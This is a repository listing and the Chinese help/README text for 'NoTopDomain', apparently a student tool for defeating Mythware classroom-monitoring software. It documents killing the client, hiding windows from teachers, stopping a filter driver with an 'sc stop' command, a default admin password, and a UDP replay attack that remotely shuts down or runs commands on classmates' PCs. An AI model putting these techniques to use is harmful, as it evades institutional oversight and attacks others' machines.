├── .gitignore ├── .vscode └── settings.json ├── HELP.md ├── LICENSE ├── NoTopDomain.py ├── README.md ├── app.ico ├── libs ├── HELP.md ├── MinHook.h ├── MinHook.x86.dll ├── MinHook.x86.lib ├── Moyu.ui ├── NTD.qss ├── NTD.ui ├── NTDHide32Runner.cpp ├── NTDHider.cpp ├── NTDHookRunner.cpp ├── NTDHooks.cpp ├── NTDShower.cpp ├── NTDTools.cpp ├── NTDUIALoader.cpp ├── UDPAttack.py ├── UDPAttack.ui ├── Ui_Moyu.py ├── Ui_NTD.py ├── Ui_UDPAttack.py ├── Ui_feedback.py ├── __init__.py ├── attackCore.py ├── b64.py ├── feedback.py ├── feedback.ui ├── mail.py ├── moyu.py ├── switchButton.py ├── system_hotkey │ ├── __init__.py │ ├── keysymdef.py │ ├── system_hotkey.py │ ├── util.py │ └── xpybutil_keybind.py └── windowEffecter │ ├── __init__.py │ ├── __pycache__ │ ├── __init__.cpython-38.pyc │ ├── c_structures.cpython-38.pyc │ └── window_effect.cpython-38.pyc │ ├── c_structures.py │ └── window_effect.py └── shellsMaybeYouUse /.gitignore: -------------------------------------------------------------------------------- 1 | /libs/__pycache__ 2 | /libs/system_hotkey/__pycache__ 3 | /NoTopDomain.build 4 | /NoTopDomain.dist 5 | /NoTopDomain.onefile-build 6 | /NoTopDomain.exe 7 | /Archives 8 | /NTD2048HighScore 9 | /.vscode -------------------------------------------------------------------------------- /.vscode/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "files.associations": { 3 | "ostream": "cpp" 4 | } 5 | } -------------------------------------------------------------------------------- /HELP.md: -------------------------------------------------------------------------------- 1 | ## NoTopDomain {} 帮助 2 | 3 | 欢迎使用NoTopDomain!希望你在机房快乐摸鱼,轻松学习,不被老师制裁和批斗,不因老师控制耽搁时间。 4 | 5 | 本软件已测试过:极域2015 v4.0/v5.0 极域2016 v6.0 极域2021 v6.0。 6 | 7 | 2010及以下版本不做可用性保证。 8 | 9 | 这是这个软件的帮助信息,这对您顺利使用此软件提供很大的帮助。 10 | 11 | ## 快捷键 12 | 13 | 使用 {} 唤起本软件窗口,再按即自动隐藏,隐藏后老师不会在极域的列表里面看到这个软件。 14 | 15 | 使用 {} 杀掉当前鼠标所在的焦点软件,会弹出一个提示框确认,这时建议直接按 Enter 或 Alt+Y来确认,以防耽搁,注意如果焦点是软件本身则会忽略,不会杀掉。 16 | 17 | 使用 {} 隐藏当前焦点窗口(只是截图不了而已),在Windows 10 2004及以上版本中教师端完全看不到这个窗口,不过在更老的Windows 10版本中教师会看到一块黑屏,在Win8及以下版本中教师会看到窗口边框和标题,但是内容是一块黑色。 18 | 19 | 使用 {} 将当前焦点窗口置顶,再按可以恢复,这可以方便您的一些对照操作的场景,置顶或取消时,该窗口左上角会弹出一个小提示框。 20 | 21 | 使用 {} 快速强制恢复广播全屏。请注意这个功能无论何时都可以快速切换,用于防止老师看到你乱搞然后批斗你。 22 | 23 | 使用 {} 快速切换广播按钮开关,这个功能和上面有所不同,如果你没有勾选设置的“自动缩放窗口”,它只会切换按钮开关,当然打开之后也会自动缩放,用处和按设置上的“解冻全屏”完全一致。 24 | 25 | ## 广播右键菜单 26 | 27 | 广播时在窗口右击可以显示右键菜单,可以快速进行常用功能操作,具体操作见下。 28 | 29 | ## 首页项 30 | 31 | ### 常用功能·杀掉/启动极域 32 | 33 | 这个就不用说了,会结束极域进程。(注意老师可能会发现你断线,然后批斗你) 34 | 35 | ### 常用功能·挂起/恢复极域 36 | 37 | 这会使极域进入挂起状态而不响应系统的任何命令,老师看起来也没有掉线,画面会冻结,但是大概一段时间后可能会自动掉线,只能恢复才能连上。 38 | 39 | ### 常用功能·监视图片替换 40 | 41 | 这将会将教师端看到您的屏幕替换成一张图片,你可以选择截图或一张图片,启动后再按可以取消。 42 | 43 | 咕咕咕。 44 | 45 | ### 常用功能·复制极域链接 46 | 47 | 按下后会将极域的路径复制到剪贴板。 48 | 49 | ### 常用功能·解冻/恢复全屏 50 | 51 | 这个功能会默认将全屏按钮解冻或恢复,注意只是按钮,所以需要在工具栏中按按钮才能窗口化,或者将设置“修改窗口化自动缩放窗口”打开,这将会在修改时自动全屏/窗口化广播窗口并修改按钮。 52 | 53 | ### 常用功能·杀掉输入进程 54 | 55 | 输入一个进程名(加不加.exe都可以)或其PID,然后按回车,确认后可以杀掉该进程(注意如果使用了ntsd杀进程方案可能失败)。 56 | 57 | ### 限制解除·置顶窗口 58 | 59 | 切换软件本体窗口置顶状态,常用于截图等操作。 60 | 61 | ### 限制解除·解除键盘限制 62 | 63 | 在黑屏安静等情况下解除极域键盘锁,默认开启(注意对 `Ctrl+Alt+Del` 无效),开启后键盘会卡顿一段时间。 64 | 65 | ### 限制解除·解除鼠标限制 66 | 67 | 在黑屏安静等情况下解除鼠标锁,注意开启后鼠标会卡顿一段时间。 68 | 69 | ### 限制解除·U盘/软件限制 70 | 71 | 解除U盘访问和软件运行限制,实际上是运行了: 72 | 73 | ```bash 74 | sc stop TDFileFilter 75 | ``` 76 | 77 | 注意有时在开启UAC的电脑上需要管理员权限,否则会出错。 78 | 79 | ### 限制解除·解除网站限制 80 | 81 | 解除访问网页时的“该网页已被阻止”,注意恢复可能无效。 82 | 83 | ### 限制解除·解除极域防杀 84 | 85 | 因为部分机房极域有防杀钩子,该功能可以尝试解掉钩子。 86 | 87 | 如果仍然杀不了极域的话,可以尝试用其它杀进程方案。 88 | 89 | ### 限制解除·屏蔽黑屏安静 90 | 91 | 该功能可以在黑屏安静来临时自动屏蔽掉,注意会有一点延迟。 92 | 93 | ### 限制解除·脱离远程关机 94 | 95 | 该功能通过替换极域目录的 `Shutdown.exe` 改为空程序来实现,再按可以恢复。 96 | 97 | 当老师(或同学)发现其它的电脑都关了,你的却没关时,请注意您可能会被当作走资派给批斗、打倒( 98 | 99 | ### 限制解除·拦截教师控制 100 | 101 | 可以让老师无法控制你的电脑,并且不会导致选择“控制”时本地不可以操作的现象。 102 | 103 | 咕咕咕。 104 | 105 | ### 限制解除·拦截极域操作 106 | 107 | 打开后每次老师对你发布远程命令和远程杀进程时都会弹窗提示确认,也可以防御他人攻击。 108 | 109 | ### 限制解除·拦截远程消息 110 | 111 | 开启此功能后教师端将无法对你发消息,可以防御他人攻击。 112 | 113 | 咕咕咕。 114 | 115 | ### 限制解除·拦截传入连接 116 | 117 | 这样会启动系统的防火墙,来拦截极域的控制,这可以让老师无法控制你的电脑,无法杀掉你的进程,但是这样会导致概率性的掉线。 118 | 119 | ### 限制解除·解工具/限制 120 | 121 | 这会解除老师在组策略中设置的禁用任务管理器、运行等等功能限制。 122 | 123 | ### 限制解除·解除映像劫持 124 | 125 | 关于映像劫持: 126 | 127 | https://baike.baidu.com/item/%E6%98%A0%E5%83%8F%E5%8A%AB%E6%8C%81 128 | 129 | 这可以解除系统中所有的映像劫持(比如学生机房管理助手的禁用 `taskkill`),注意可能需要管理员权限。 130 | 131 | ### 限制解除·重启资源管理器 132 | 133 | 这个都不知道的话,还是好好上信息技术课吧... 134 | 135 | ### 密码获取 136 | 137 | 首页底部左侧的文本框显示获取到的密码,如果获取失败,会显示为极域超级密码 `mythware_super_password` 138 | 139 | ### 卸载极域 140 | 141 | 这个功能会自动调用极域卸载器,输入密码卸载极域,请注意:这极有可能受到批判。 142 | 143 | ## 设置项 144 | 145 | 注意:设置修改后一定要点击保存! 146 | 147 | ### 隐藏托盘 148 | 149 | 这会隐藏软件的托盘图标,你依然可以通过快捷键来显示窗口。 150 | 151 | ### 禁用QSS 152 | 153 | 这会禁用程序的样式表,恢复为系统默认样式。建议在出现样式错乱、性能问题时开启,注意需要重启才能应用。 154 | 155 | ### 禁用教师全屏 156 | 157 | 通过调用 `user32.dll` 中的 `SetWindowDisplayAffinity` 来绕过截图,不过在 `Windows 10 2004` 以下的版本中会显示为黑框。 158 | 159 | ### 修改窗口化时自缩放 160 | 161 | 这个功能可以在点击“解冻全屏”时自动缩放广播窗口。 [见上](#常用功能解冻恢复全屏) 162 | 163 | ### 窗口不透明度 164 | 165 | 这个就不用说了吧。。。 166 | 167 | ### 杀进程方案 168 | 169 | 共三种,针对不同的环境。 170 | 171 | `TermProc` 即为调用 Win32API 的 `TerminateProcess` 函数,可能会被极域反杀拦截(当然可以用解反杀)。 172 | 173 | `TermThr` 即为调用 Win32API 的 `TerminateThread` 函数,对进程进行遍历线程杀死,可以绕过反杀。 174 | 175 | `ntsd.exe` 即为调用 `ntsd` 来杀掉进程,由于未知原因,键入杀进程很多无法杀掉(可能报 `0xC00000BB` ),并且会弹窗,建议作为最次之选择。 176 | 177 | ## 快捷键配置 178 | 179 | 具体快捷键用途在 [上文](#快捷键) 中有提到。 180 | 181 | 注意配置时用 `+` 连接各键即可,不要求大小写。 182 | 183 | Alt键直接使用alt,ctrl键使用ctrl或control,shift键使用shift,esc使用esc,Fx(F1~F12)直接用其名字就行。 184 | 185 | ## UDP重放攻击 186 | 187 | 使用右上角工具栏的“攻击”启动该功能。 188 | 189 | 内有几个文本框,输入内容如下: 190 | 191 | 扫描IP:扫描局域网内电脑的IP,显示在日志栏里面 192 | 193 | IP地址:从对方电脑获取到的它的局域网IP,如果想同时发多个,可以用分号隔开(英文!) 194 | 195 | 间隔时间、次数:。。。 196 | 197 | 对方关机、重启:你懂的:( 198 | 199 | 执行命令:在Windows系统下执行某命令,注意如果是命令行程序前面要加 start 否则啥也看不到。 200 | 201 | 发送消息:对方会看到一个极域的浮动窗口,图标为信息图标,内容为消息内容,在Windows 10以上会覆盖上一层原生消息窗口。 202 | 203 | 注意:单台电脑的极域发送之后对任意一人的攻击消息将有22秒左右的无敌时间。 204 | 205 | 若对方开启了 NoTopDomain 或 JiyuTrainer 等反极域软件,部分操作可能会失败。 206 | 207 | 该功能执行时对方的实际权限很低,所以许多操作会出错,但是关机还是可以滴( 208 | 209 | ## 窗口管理项 210 | 211 | 该页面可以对窗口进行一些调整从而伪装窗口真实身份,不被发现 212 | 213 | ### 窗口选择 214 | 215 | 点击 “点击开始捕获窗口” 可以来选中鼠标焦点的窗口,此时窗口左上角会显示一个透明的信息框表示当前状态,按 Ctrl+Alt+P 键即可确认当前选中,返回程序。 216 | 217 | 此时下方的小文本框会显示窗口状态(即为捕获时透明框相同的内容) 218 | 219 | ### 窗口操作 220 | 221 | #### 置顶 222 | 223 | 对选中窗口进行置顶,效果与 Alt+T 相同。 224 | 225 | #### 隐藏 226 | 227 | 对选择窗口进行隐藏(截屏截不到),效果与 Alt+H 相同 228 | 229 | #### 杀死 230 | 231 | 杀掉选中窗口的进程,效果与 Alt+K 相同,会弹窗。 232 | 233 | #### 修改窗口标题 234 | 235 | 在下方的“键入新标题”中输入要修改的标题(也可以留空),按右边的重置键填入捕获时刻的窗口标题。 236 | 237 | #### 图标设置 238 | 239 | 按默认修改为 Windows 的默认程序图标,按“打开”打开一个ico图标来设置(仅支持ico图标,别问为什么,官方只让用ico蒟蒻懒得写转换qwq)。 240 | 241 | 按刷新键重置会捕获时刻的窗口图标。 242 | 243 | ### 托盘管理 244 | 245 | 启动程序扫描托盘项目,扫描完毕后点击某行可删除这个托盘项目(暂不支持恢复) 246 | 247 | 因为Ta不会写托盘管理,所以这个东西咕咕咕了awa/xd -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 Ariasaka 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 这个蒟蒻很久没更新了qwq,今年有空还会折腾的 2 | 3 | 3.0的UI是在某同学的建议下修改的,不过感觉有点大了呢(;´д`)ゞ 4 | 5 | 后面可能会做一些其它的ui,建议现在在release里面下2.5( 6 | 7 | # NoTopDomain 8 | 9 | 极域,就你也敢创死无数无辜学生? 10 | 11 | 此乃极域终末之神,机房摸鱼之柱。 12 | 13 | 你还在为极域控制,老师禁用,上课效率太低而烦恼吗?这个软件将帮你解决问题! 14 | 15 | 推广文x2: 16 | 17 | https://www.cnblogs.com/LYXOfficial/p/notopdomain.html 18 | 19 | https://yisous.xyz/posts/55af90aa/ 20 | 21 | Lanzou: https://xydc.lanzouo.com/b018x6qza 密码:2al0 22 | 23 | ## 帮助 24 | 25 | 欢迎使用NoTopDomain!希望你在机房快乐摸鱼,轻松学习,不被老师制裁和批斗,不因老师控制耽搁时间。 26 | 27 | 本软件已测试过:极域2015 v4.0/v5.0 极域2016 v6.0 极域2021 v6.0。 28 | 29 | 2010及以下版本不做可用性保证。 30 | 31 | 这是这个软件的帮助信息,这对您顺利使用此软件提供很大的帮助。 32 | 33 | ### 快捷键 34 | 35 | (可修改) 36 | 37 | 使用 ALT+M 唤起本软件窗口,再按即自动隐藏,隐藏后老师不会在极域的列表里面看到这个软件。 38 | 39 | 使用 ALT+K 杀掉当前鼠标所在的焦点软件,会弹出一个提示框确认,这时建议直接按 Enter 或 Alt+Y来确认,以防耽搁,注意如果焦点是软件本身则会忽略,不会杀掉。 40 | 41 | 使用 ALT+H 隐藏当前焦点窗口(只是截图不了而已),在Windows 10 2004及以上版本中教师端完全看不到这个窗口,不过在更老的Windows 10版本中教师会看到一块黑屏,在Win8及以下版本中教师会看到窗口边框和标题,但是内容是一块黑色。 42 | 43 | (老版本ALT+T已经移除) 44 | 45 | 使用 ALT+Y 将当前焦点窗口置顶,再按可以恢复,这可以方便您的一些对照操作的场景,置顶或取消时,该窗口左上角会弹出一个小提示框。 46 | 47 | 使用 ALT+F 快速强制恢复广播全屏。请注意这个功能无论何时都可以快速切换,用于防止老师看到你乱搞然后批斗你。 48 | 49 | 使用 ALT+Q 快速切换广播按钮开关,这个功能和上面有所不同,如果你没有勾选设置的“自动缩放窗口”,它只会切换按钮开关,当然打开之后也会自动缩放,用处和按设置上的“解冻全屏”完全一致。 50 | 51 | ### 广播右键菜单 52 | 53 | 广播时在窗口右击可以显示右键菜单,可以快速进行常用功能操作,具体操作见下。 54 | 55 | ### 首页项 56 | 57 | #### 常用功能·杀掉/启动极域 58 | 59 | 这个就不用说了,会结束极域进程。(注意老师可能会发现你断线,然后批斗你) 60 | 61 | #### 常用功能·挂起/恢复极域 62 | 63 | 这会使极域进入挂起状态而不响应系统的任何命令,老师看起来也没有掉线,画面会冻结,但是大概一段时间后可能会自动掉线,只能恢复才能连上。 64 | 65 | #### 常用功能·监视图片替换 66 | 67 | 这将会将教师端看到您的屏幕替换成一张图片,你可以选择截图或一张图片,启动后再按可以取消。 68 | 69 | 咕咕咕。 70 | 71 | #### 常用功能·复制极域链接 72 | 73 | 按下后会将极域的路径复制到剪贴板。 74 | 75 | #### 常用功能·解冻/恢复全屏 76 | 77 | 这个功能会默认将全屏按钮解冻或恢复,注意只是按钮,所以需要在工具栏中按按钮才能窗口化,或者将设置“修改窗口化自动缩放窗口”打开,这将会在修改时自动全屏/窗口化广播窗口并修改按钮。 78 | 79 | #### 常用功能·杀掉输入进程 80 | 81 | 输入一个进程名(加不加.exe都可以)或其PID,然后按回车,确认后可以杀掉该进程(注意如果使用了ntsd杀进程方案可能失败)。 82 | 83 | #### 限制解除·置顶窗口 84 | 85 | 切换软件本体窗口置顶状态,常用于截图等操作。 86 | 87 | #### 限制解除·解除键盘限制 88 | 89 | 在黑屏安静等情况下解除极域键盘锁,默认开启(注意对 `Ctrl+Alt+Del` 无效),开启后键盘会卡顿一段时间。 90 | 91 | #### 限制解除·解除鼠标限制 92 | 93 | 在黑屏安静等情况下解除鼠标锁,注意开启后鼠标会卡顿一段时间。 94 | 95 | #### 限制解除·U盘/软件限制 96 | 97 | 解除U盘访问和软件运行限制,实际上是运行了: 98 | 99 | ```bash 100 | sc stop TDFileFilter 101 | ``` 102 | 103 | 注意有时在开启UAC的电脑上需要管理员权限,否则会出错。 104 | 105 | #### 限制解除·解除网站限制 106 | 107 | 解除访问网页时的“该网页已被阻止”,注意恢复可能无效。 108 | 109 | #### 限制解除·解除极域防杀 110 | 111 | 因为部分机房极域有防杀钩子,该功能可以尝试解掉钩子。 112 | 113 | 如果仍然杀不了极域的话,可以尝试用其它杀进程方案。 114 | 115 | #### 限制解除·屏蔽黑屏安静 116 | 117 | 该功能可以在黑屏安静来临时自动屏蔽掉,注意会有一点延迟。 118 | 119 | #### 限制解除·脱离远程关机 120 | 121 | 该功能通过替换极域目录的 `Shutdown.exe` 改为空程序来实现,再按可以恢复。 122 | 123 | 当老师(或同学)发现其它的电脑都关了,你的却没关时,请注意您可能会被当作走资派给批斗、打倒( 124 | 125 | #### 限制解除·拦截教师控制 126 | 127 | 可以让老师无法控制你的电脑,并且不会导致选择“控制”时本地不可以操作的现象。 128 | 129 | 咕咕咕。 130 | 131 | #### 限制解除·拦截极域操作 132 | 133 | 打开后每次老师对你发布远程命令和远程杀进程时都会弹窗提示确认,也可以防御他人攻击。 134 | 135 | #### 限制解除·拦截远程消息 136 | 137 | 开启此功能后教师端将无法对你发消息,可以防御他人攻击。 138 | 139 | 咕咕咕。 140 | 141 | #### 限制解除·拦截传入连接 142 | 143 | 这样会启动系统的防火墙,来拦截极域的控制,这可以让老师无法控制你的电脑,无法杀掉你的进程,但是这样会导致概率性的掉线。 144 | 145 | #### 限制解除·解工具/限制 146 | 147 | 这会解除老师在组策略中设置的禁用任务管理器、运行等等功能限制。 148 | 149 | #### 限制解除·解除映像劫持 150 | 151 | 关于映像劫持: 152 | 153 | https://baike.baidu.com/item/%E6%98%A0%E5%83%8F%E5%8A%AB%E6%8C%81 154 | 155 | 这可以解除系统中所有的映像劫持(比如学生机房管理助手的禁用 `taskkill`),注意可能需要管理员权限。 156 | 157 | #### 限制解除·重启资源管理器 158 | 159 | 这个都不知道的话,还是好好上信息技术课吧... 160 | 161 | #### 密码获取 162 | 163 | 首页底部左侧的文本框显示获取到的密码,如果获取失败,会显示为极域超级密码 `mythware_super_password` 164 | 165 | #### 卸载极域 166 | 167 | 这个功能会自动调用极域卸载器,输入密码卸载极域,请注意:这极有可能受到批判。 168 | 169 | ### 设置项 170 | 171 | 注意:设置修改后一定要点击保存! 172 | 173 | #### 隐藏托盘 174 | 175 | 这会隐藏软件的托盘图标,你依然可以通过快捷键来显示窗口。 176 | 177 | #### 禁用QSS 178 | 179 | 这会禁用程序的样式表,恢复为系统默认样式。建议在出现样式错乱、性能问题时开启,注意需要重启才能应用。 180 | 181 | #### 禁用教师全屏 182 | 183 | 通过调用 `user32.dll` 中的 `SetWindowDisplayAffinity` 来绕过截图,不过在 `Windows 10 2004` 以下的版本中会显示为黑框。 184 | 185 | #### 修改窗口化时自缩放 186 | 187 | 这个功能可以在点击“解冻全屏”时自动缩放广播窗口。 [见上](#常用功能解冻恢复全屏) 188 | 189 | #### 窗口不透明度 190 | 191 | 这个就不用说了吧。。。 192 | 193 | #### 杀进程方案 194 | 195 | 共三种,针对不同的环境。 196 | 197 | `TermProc` 即为调用 Win32API 的 `TerminateProcess` 函数,可能会被极域反杀拦截(当然可以用解反杀)。 198 | 199 | `TermThr` 即为调用 Win32API 的 `TerminateThread` 函数,对进程进行遍历线程杀死,可以绕过反杀。 200 | 201 | `ntsd.exe` 即为调用 `ntsd` 来杀掉进程,由于未知原因,键入杀进程很多无法杀掉(可能报 `0xC00000BB` ),并且会弹窗,建议作为最次之选择。 202 | 203 | ### 快捷键配置 204 | 205 | 具体快捷键用途在 [上文](#快捷键) 中有提到。 206 | 207 | 注意配置时用 `+` 连接各键即可,不要求大小写。 208 | 209 | Alt键直接使用alt,ctrl键使用ctrl或control,shift键使用shift,esc使用esc,Fx(F1~F12)直接用其名字就行。 210 | 211 | ### UDP重放攻击 212 | 213 | 使用右上角工具栏的“攻击”启动该功能。 214 | 215 | 内有几个文本框,输入内容如下: 216 | 217 | 扫描IP:扫描局域网内电脑的IP,显示在日志栏里面 218 | 219 | IP地址:从对方电脑获取到的它的局域网IP,如果想同时发多个,可以用分号隔开(英文!) 220 | 221 | 间隔时间、次数:。。。 222 | 223 | 对方关机、重启:你懂的:( 224 | 225 | 执行命令:在Windows系统下执行某命令,注意如果是命令行程序前面要加 start 否则啥也看不到。 226 | 227 | 发送消息:对方会看到一个极域的浮动窗口,图标为信息图标,内容为消息内容,在Windows 10以上会覆盖上一层原生消息窗口。 228 | 229 | 注意:单台电脑的极域发送之后对任意一人的攻击消息将有22秒左右的无敌时间。 230 | 231 | 若对方开启了 NoTopDomain 或 JiyuTrainer 等反极域软件,部分操作可能会失败。 232 | 233 | 该功能执行时对方的实际权限很低,所以许多操作会出错,但是关机还是可以滴( 234 | -------------------------------------------------------------------------------- /app.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LYXOfficial/NoTopDomain/386228dfbdade528a7a0472efd01c209c96353ee/app.ico -------------------------------------------------------------------------------- /libs/HELP.md: -------------------------------------------------------------------------------- 1 | ## NoTopDomain {} 帮助 2 | 3 | 欢迎使用NoTopDomain!希望你在机房快乐摸鱼,轻松学习,不被老师制裁和批斗,不因老师控制耽搁时间。 4 | 5 | 本软件已测试过:极域2015 v4.0/v5.0 极域2016 v6.0 极域2021 v6.0。 6 | 7 | 2010及以下版本不做可用性保证。 8 | 9 | 这是这个软件的帮助信息,这对您顺利使用此软件提供很大的帮助。 10 | 11 | ### 快捷键 12 | 13 | 使用 {} 唤起本软件窗口,再按即自动隐藏,隐藏后老师不会在极域的列表里面看到这个软件。 14 | 15 | 使用 {} 杀掉当前鼠标所在的焦点软件,会弹出一个提示框确认,这时建议直接按 Enter 或 Alt+Y来确认,以防耽搁,注意如果焦点是软件本身则会忽略,不会杀掉。 16 | 17 | 使用 {} 隐藏当前焦点窗口(只是截图不了而已),在Windows 10 2004及以上版本中教师端完全看不到这个窗口,不过在更老的Windows 10版本中教师会看到一块黑屏,在Win8及以下版本中教师会看到窗口边框和标题,但是内容是一块黑色。 18 | 19 | 使用 {} 将当前焦点窗口置顶,再按可以恢复,这可以方便您的一些对照操作的场景,置顶或取消时,该窗口左上角会弹出一个小提示框。 20 | 21 | 使用 {} 快速强制恢复广播全屏。请注意这个功能无论何时都可以快速切换,用于防止老师看到你乱搞然后批斗你。 22 | 23 | 使用 {} 快速切换广播按钮开关,这个功能和上面有所不同,如果你没有勾选设置的“自动缩放窗口”,它只会切换按钮开关,当然打开之后也会自动缩放,用处和按设置上的“解冻全屏”完全一致。 24 | 25 | ### 广播右键菜单 26 | 27 | 广播时在窗口右击可以显示右键菜单,可以快速进行常用功能操作,具体操作见下。 28 | 29 | ### 首页项 30 | 31 | #### 常用功能·杀掉/启动极域 32 | 33 | 这个就不用说了,会结束极域进程。(注意老师可能会发现你断线,然后批斗你) 34 | 35 | #### 常用功能·挂起/恢复极域 36 | 37 | 这会使极域进入挂起状态而不响应系统的任何命令,老师看起来也没有掉线,画面会冻结,但是大概一段时间后可能会自动掉线,只能恢复才能连上。 38 | 39 | #### 常用功能·监视图片替换 40 | 41 | 这将会将教师端看到您的屏幕替换成一张图片,你可以选择截图或一张图片,启动后再按可以取消。 42 | 43 | 咕咕咕。 44 | 45 | #### 常用功能·复制极域链接 46 | 47 | 按下后会将极域的路径复制到剪贴板。 48 | 49 | #### 常用功能·解冻/恢复全屏 50 | 51 | 这个功能会默认将全屏按钮解冻或恢复,注意只是按钮,所以需要在工具栏中按按钮才能窗口化,或者将设置“修改窗口化自动缩放窗口”打开,这将会在修改时自动全屏/窗口化广播窗口并修改按钮。 52 | 53 | #### 常用功能·杀掉输入进程 54 | 55 | 输入一个进程名(加不加.exe都可以)或其PID,然后按回车,确认后可以杀掉该进程(注意如果使用了ntsd杀进程方案可能失败)。 56 | 57 | #### 限制解除·置顶窗口 58 | 59 | 切换软件本体窗口置顶状态,常用于截图等操作。 60 | 61 | #### 限制解除·解除键盘限制 62 | 63 | 在黑屏安静等情况下解除极域键盘锁,默认开启(注意对 `Ctrl+Alt+Del` 无效),开启后键盘会卡顿一段时间。 64 | 65 | #### 限制解除·解除鼠标限制 66 | 67 | 在黑屏安静等情况下解除鼠标锁,注意开启后鼠标会卡顿一段时间。 68 | 69 | #### 限制解除·U盘/软件限制 70 | 71 | 解除U盘访问和软件运行限制,实际上是运行了: 72 | 73 | ```bash 74 | sc stop TDFileFilter 75 | ``` 76 | 77 | 注意有时在开启UAC的电脑上需要管理员权限,否则会出错。 78 | 79 | #### 限制解除·解除网站限制 80 | 81 | 解除访问网页时的“该网页已被阻止”,注意恢复可能无效。 82 | 83 | #### 限制解除·解除极域防杀 84 | 85 | 因为部分机房极域有防杀钩子,该功能可以尝试解掉钩子。 86 | 87 | 如果仍然杀不了极域的话,可以尝试用其它杀进程方案。 88 | 89 | #### 限制解除·屏蔽黑屏安静 90 | 91 | 该功能可以在黑屏安静来临时自动屏蔽掉,注意会有一点延迟。 92 | 93 | #### 限制解除·脱离远程关机 94 | 95 | 该功能通过替换极域目录的 `Shutdown.exe` 改为空程序来实现,再按可以恢复。 96 | 97 | 当老师(或同学)发现其它的电脑都关了,你的却没关时,请注意您可能会被当作走资派给批斗、打倒( 98 | 99 | #### 限制解除·拦截教师控制 100 | 101 | 可以让老师无法控制你的电脑,并且不会导致选择“控制”时本地不可以操作的现象。 102 | 103 | 咕咕咕。 104 | 105 | #### 限制解除·拦截极域操作 106 | 107 | 打开后每次老师对你发布远程命令和远程杀进程时都会弹窗提示确认,也可以防御他人攻击。 108 | 109 | #### 限制解除·拦截远程消息 110 | 111 | 开启此功能后教师端将无法对你发消息,可以防御他人攻击。 112 | 113 | 咕咕咕。 114 | 115 | #### 限制解除·拦截传入连接 116 | 117 | 这样会启动系统的防火墙,来拦截极域的控制,这可以让老师无法控制你的电脑,无法杀掉你的进程,但是这样会导致概率性的掉线。 118 | 119 | #### 限制解除·解工具/限制 120 | 121 | 这会解除老师在组策略中设置的禁用任务管理器、运行等等功能限制。 122 | 123 | #### 限制解除·解除映像劫持 124 | 125 | 关于映像劫持: 126 | 127 | https://baike.baidu.com/item/%E6%98%A0%E5%83%8F%E5%8A%AB%E6%8C%81 128 | 129 | 这可以解除系统中所有的映像劫持(比如学生机房管理助手的禁用 `taskkill`),注意可能需要管理员权限。 130 | 131 | #### 限制解除·重启资源管理器 132 | 133 | 这个都不知道的话,还是好好上信息技术课吧... 134 | 135 | #### 密码获取 136 | 137 | 首页底部左侧的文本框显示获取到的密码,如果获取失败,会显示为极域超级密码 `mythware_super_password` 138 | 139 | #### 卸载极域 140 | 141 | 这个功能会自动调用极域卸载器,输入密码卸载极域,请注意:这极有可能受到批判。 142 | 143 | ### 设置项 144 | 145 | 注意:设置修改后一定要点击保存! 146 | 147 | #### 隐藏托盘 148 | 149 | 这会隐藏软件的托盘图标,你依然可以通过快捷键来显示窗口。 150 | 151 | #### 禁用QSS 152 | 153 | 这会禁用程序的样式表,恢复为系统默认样式。建议在出现样式错乱、性能问题时开启,注意需要重启才能应用。 154 | 155 | #### 禁用教师全屏 156 | 157 | 通过调用 `user32.dll` 中的 `SetWindowDisplayAffinity` 来绕过截图,不过在 `Windows 10 2004` 以下的版本中会显示为黑框。 158 | 159 | #### 修改窗口化时自缩放 160 | 161 | 这个功能可以在点击“解冻全屏”时自动缩放广播窗口。 [见上](#常用功能解冻恢复全屏) 162 | 163 | #### 窗口不透明度 164 | 165 | 这个就不用说了吧。。。 166 | 167 | #### 杀进程方案 168 | 169 | 共三种,针对不同的环境。 170 | 171 | `TermProc` 即为调用 Win32API 的 `TerminateProcess` 函数,可能会被极域反杀拦截(当然可以用解反杀)。 172 | 173 | `TermThr` 即为调用 Win32API 的 `TerminateThread` 函数,对进程进行遍历线程杀死,可以绕过反杀。 174 | 175 | `ntsd.exe` 即为调用 `ntsd` 来杀掉进程,由于未知原因,键入杀进程很多无法杀掉(可能报 `0xC00000BB` ),并且会弹窗,建议作为最次之选择。 176 | 177 | ### 快捷键配置 178 | 179 | 具体快捷键用途在 [上文](#快捷键) 中有提到。 180 | 181 | 注意配置时用 `+` 连接各键即可,不要求大小写。 182 | 183 | Alt键直接使用alt,ctrl键使用ctrl或control,shift键使用shift,esc使用esc,Fx(F1~F12)直接用其名字就行。 184 | 185 | ### UDP重放攻击 186 | 187 | 使用右上角工具栏的“攻击”启动该功能。 188 | 189 | 内有几个文本框,输入内容如下: 190 | 191 | 扫描IP:扫描局域网内电脑的IP,显示在日志栏里面 192 | 193 | IP地址:从对方电脑获取到的它的局域网IP,如果想同时发多个,可以用分号隔开(英文!) 194 | 195 | 间隔时间、次数:。。。 196 | 197 | 对方关机、重启:你懂的:( 198 | 199 | 执行命令:在Windows系统下执行某命令,注意如果是命令行程序前面要加 start 否则啥也看不到。 200 | 201 | 发送消息:对方会看到一个极域的浮动窗口,图标为信息图标,内容为消息内容,在Windows 10以上会覆盖上一层原生消息窗口。 202 | 203 